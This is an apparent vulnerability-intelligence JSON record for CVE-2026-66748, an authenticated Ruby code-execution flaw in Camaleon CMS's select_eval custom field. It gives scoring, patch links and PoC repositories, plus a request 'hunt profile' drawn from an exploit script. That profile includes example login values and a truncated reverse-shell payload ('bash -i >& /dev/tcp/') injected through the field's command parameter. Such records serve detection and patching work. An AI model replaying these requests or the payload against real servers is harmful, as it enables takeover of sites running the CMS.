{
  "id": "CVE-2026-66748",
  "url": "https://poc.griffinguard.io/cve/CVE-2026-66748",
  "published_at": "2026-07-28T15:19:52.609Z",
  "title": "Camaleon CMS 2.1.1 - 2.9.1 Authenticated RCE via select_eval Custom Field",
  "vendor": "owen2345",
  "product": "camaleon-cms",
  "cvss": {
    "score": 8.8,
    "source": "cna",
    "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  },
  "kev": {
    "in_kev": false,
    "added_at": null,
    "days_after_publication": null
  },
  "first_poc": {
    "created_at": "2026-07-24T23:28:47Z",
    "first_seen_at": "2026-11-14T11:25:11.578Z",
    "days_after_publication": -3.7,
    "repo": "theopaid/CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field",
    "source": "github"
  },
  "poc_repo_count": 2,
  "exploit_count": 0,
  "suspicious_repo_count": 0,
  "edge_device": null,
  "description": "Camaleon CMS versions 2.1.1 through 2.9.1 contains an authenticated remote code execution vulnerability that allows users with custom_fields manage permission to execute arbitrary Ruby code by supplying a malicious expression through the select_eval custom field type. Attackers can store an attacker-controlled Ruby expression in the field options command parameter, which is evaluated via instance_eval within an ERB view whenever a post edit page is rendered, achieving server-side code execution with web server process privileges.",
  "cwe": "CWE-94",
  "cvss_by_source": {
    "cna": 8.8
  },
  "repos": [
    {
      "repo": "theopaid/CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field",
      "url": "https://github.com/theopaid/CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field",
      "created_at": "2026-07-24T23:28:47Z",
      "first_seen_at": "2026-11-14T14:50:35.824Z",
      "stars": 1,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 30,
      "suspicious": false,
      "suspicion_reasons": [
        "README gives an archive password"
      ],
      "status": "analyzed",
      "owner_created_at": "2016-05-26T23:18:53Z"
    },
    {
      "repo": "theopaid/Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field",
      "url": "https://github.com/theopaid/Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field",
      "created_at": "2026-07-24T23:28:47Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 1,
      "is_poc": "yes",
      "kind": "listed by PoC Index",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2016-05-26T23:18:53Z"
    }
  ],
  "remediation": {
    "affected": [
      {
        "vendor": "owen2345",
        "product": "camaleon-cms",
        "ranges": [
          "\u003e= 2.1.1, \u003c= 2.9.1",
          "2.9.2"
        ],
        "fixed_in": null
      }
    ],
    "references": [
      {
        "kind": "Release notes",
        "url": "https://github.com/owen2345/camaleon-cms/releases/tag/2.9.2"
      },
      {
        "kind": "Patch",
        "url": "https://github.com/owen2345/camaleon-cms/pull/1136"
      },
      {
        "kind": "Patch",
        "url": "https://github.com/owen2345/camaleon-cms/commit/158823668e2e5c3114a69b34cf1c96cb41533c5f"
      }
    ]
  },
  "exploit_refs": [
    {
      "url": "https://enrik-m.github.io/posts/Camaleon-CMS-Vulnerabilties/",
      "source": "cvelist",
      "title": "Researcher Blog (Enrik Mustafa)",
      "published_at": null,
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    },
    {
      "url": "https://tpaidakis.com/writeups/camaleon-cms-rce-select-eval/",
      "source": "cvelist",
      "title": "Researcher Blog (Theodosis Paidakis)",
      "published_at": null,
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    }
  ],
  "hunt_profile": [
    {
      "method": "GET",
      "path_template": "/admin/dashboard",
      "protocol": "http",
      "repos": [
        "theopaid/CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field",
        "theopaid/Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field"
      ],
      "repo_count": 2,
      "confidence": 0.7,
      "evidence": [
        "theopaid/CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field/CVE-2026-66748.py:28",
        "theopaid/Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field/CVE-2026-66748.py:28"
      ]
    },
    {
      "method": "GET",
      "path_template": "/admin/login",
      "protocol": "http",
      "repos": [
        "theopaid/CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field",
        "theopaid/Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field"
      ],
      "repo_count": 2,
      "confidence": 0.7,
      "evidence": [
        "theopaid/CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field/CVE-2026-66748.py:21",
        "theopaid/Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field/CVE-2026-66748.py:21"
      ]
    },
    {
      "method": "GET",
      "path_template": "/admin/post_type/{var}/posts/{var}/edit",
      "protocol": "http",
      "repos": [
        "theopaid/CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field",
        "theopaid/Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field"
      ],
      "repo_count": 2,
      "confidence": 0.7,
      "evidence": [
        "theopaid/CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field/CVE-2026-66748.py:46",
        "theopaid/Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field/CVE-2026-66748.py:46"
      ]
    },
    {
      "method": "POST",
      "path_template": "/admin/login",
      "body_markers": [
        "authenticity_token=",
        "user[username]=editor\"       # any account with custom_fields manage permission",
        "user[password]=Editor1234!"
      ],
      "content_type": "application/x-www-form-urlencoded",
      "protocol": "http",
      "repos": [
        "theopaid/CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field",
        "theopaid/Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field"
      ],
      "repo_count": 2,
      "confidence": 0.7,
      "evidence": [
        "theopaid/CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field/CVE-2026-66748.py:23",
        "theopaid/Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field/CVE-2026-66748.py:23"
      ]
    },
    {
      "method": "POST",
      "path_template": "/admin/settings/custom_fields",
      "body_markers": [
        "authenticity_token=",
        "custom_field_group[name]=exploit_",
        "custom_field_group[assign_group]=PostType_Post,",
        "not PostType\n    f\"fields[{var}][name]\"=Shell",
        "fields[{var}][slug]=rce_",
        "field_options[{var}][field_key]=select_eval",
        "field_options[{var}][command]=[[\"ok\",\"ok\"]].tap{Thread.new{system(\"bash -i \u003e\u0026 /dev/tcp/",
        "field_options[{var}][command]=[[\"ok\",\"ok\"]].tap{{Thread.new{{system(\"bash -i \u003e\u0026 /dev/tcp/"
      ],
      "content_type": "application/x-www-form-urlencoded",
      "protocol": "http",
      "repos": [
        "theopaid/CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field",
        "theopaid/Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field"
      ],
      "repo_count": 2,
      "confidence": 0.7,
      "evidence": [
        "theopaid/CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field/CVE-2026-66748.py:32",
        "theopaid/Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field/CVE-2026-66748.py:32"
      ]
    }
  ],
  "rules": []
}
